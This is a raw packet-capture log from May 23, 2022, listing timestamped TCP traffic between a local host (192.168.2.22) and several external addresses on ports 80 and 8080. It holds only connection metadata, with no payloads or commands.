May 23, 2022 09:11:05.238684893 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238688946 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238702059 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238703966 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238718033 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238729000 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238735914 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.238737106 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238755941 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238773108 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.238997936 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239038944 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239039898 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239073992 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239073992 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239105940 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239115953 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239123106 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239136934 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239140034 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239190102 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239193916 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239208937 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239224911 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239236116 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239242077 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239253044 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239258051 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239268064 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239275932 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239291906 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239298105 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239309072 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239332914 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239398003 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239433050 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.239737988 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239756107 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.239825010 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.240201950 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.240595102 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.273303032 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273401022 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.273413897 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273436069 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273451090 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273468971 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273484945 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273488045 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.273525000 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.273668051 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273694992 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273729086 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.273952961 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.273972034 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274013996 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274024963 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274041891 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274071932 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274072886 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274089098 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274106026 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274106026 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274127960 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274139881 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274173021 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274173975 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274189949 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274226904 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274230003 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274245024 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274276972 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274286032 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274305105 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274334908 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274348974 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274394989 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274425983 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274473906 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274912119 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274934053 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274950981 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.274977922 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.274990082 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275007010 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275037050 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275116920 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275173903 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275192022 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275207996 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275226116 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275238037 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275242090 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275258064 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275270939 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275295019 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275300980 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275310993 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275331974 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275362015 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275362968 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275381088 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275389910 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275398970 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275414944 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275422096 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275446892 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275456905 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275538921 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275557041 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275558949 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275573015 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275588989 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275589943 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275615931 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275646925 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275654078 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275670052 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275686979 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275695086 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275703907 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275727987 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275757074 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.275772095 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275788069 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.275827885 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.277960062 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.304337978 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.304373026 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.304390907 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.304408073 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.304425001 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.304440022 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.304441929 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.304459095 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.304462910 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.304497957 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.304497957 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.304541111 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305622101 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305650949 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305666924 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305684090 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305692911 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305701017 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305718899 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305732012 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305748940 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305752993 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305757999 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305766106 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305780888 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305782080 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305798054 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305803061 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305815935 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305828094 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305831909 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305849075 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305855036 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305871964 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305875063 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305890083 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305896997 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305907965 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305921078 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305923939 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305948973 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.305949926 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.305975914 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.306011915 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.307818890 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307852030 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307868004 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307884932 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307903051 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307920933 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307921886 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.307938099 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307943106 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.307954073 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307960033 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.307971954 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.307986021 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.307988882 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308006048 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308010101 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308022022 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308034897 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308038950 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308054924 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308058023 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308072090 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308082104 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308088064 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308104038 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308105946 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308120012 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308128119 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308135986 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308152914 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308152914 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308168888 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308175087 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308185101 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.308201075 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308222055 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.308469057 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.334817886 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334847927 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334863901 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334882975 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334892988 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.334899902 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334913969 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.334916115 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.334917068 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334925890 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.334934950 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334944963 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.334952116 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334958076 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.334969997 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334980011 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.334986925 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.334995031 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335002899 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335015059 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335019112 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335027933 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335035086 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335043907 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335053921 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335064888 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335071087 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335078001 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335087061 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335102081 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335104942 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335119009 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335123062 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335133076 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335139990 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335151911 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335158110 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335166931 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335174084 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335191011 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335208893 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335222006 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335225105 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335226059 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335227966 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335242987 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335243940 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335259914 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335263968 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335275888 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335280895 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335292101 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335297108 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335309982 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335318089 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335326910 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335333109 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335344076 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335347891 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335361004 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335365057 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335372925 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335380077 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335387945 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335397005 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335412979 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335429907 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335431099 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335448027 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335448980 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335463047 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335465908 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335484028 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335484982 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335496902 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335500002 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335516930 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335516930 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335527897 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335535049 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335544109 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335551023 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335565090 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335570097 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335577965 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335586071 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335592031 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335602045 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335616112 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335619926 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.335629940 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.335643053 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.336533070 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336555958 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336572886 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336589098 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.336590052 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336604118 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.336606979 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336618900 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.336635113 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.336649895 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336679935 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.336754084 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336801052 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.336839914 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336857080 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.336873055 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.336884022 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.337011099 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.337047100 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.337085009 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.337101936 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.337116957 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.337129116 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.337166071 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.337198973 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.337223053 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.337241888 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:05.337254047 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:05.337269068 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:07.300946951 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:07.301099062 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:12.464468956 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:11:12.466507912 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:11:16.027832031 CEST	80	49176	107.189.3.39	192.168.2.22
May 23, 2022 09:11:16.027952909 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:11:23.439815044 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:23.482799053 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:11:23.483169079 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:23.543961048 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:23.586833000 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:11:23.597753048 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:11:23.597789049 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:11:23.597850084 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:23.611505985 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:23.660362005 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:11:23.660674095 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:27.357820034 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:27.441895008 CEST	8080	49177	165.22.73.229	192.168.2.22
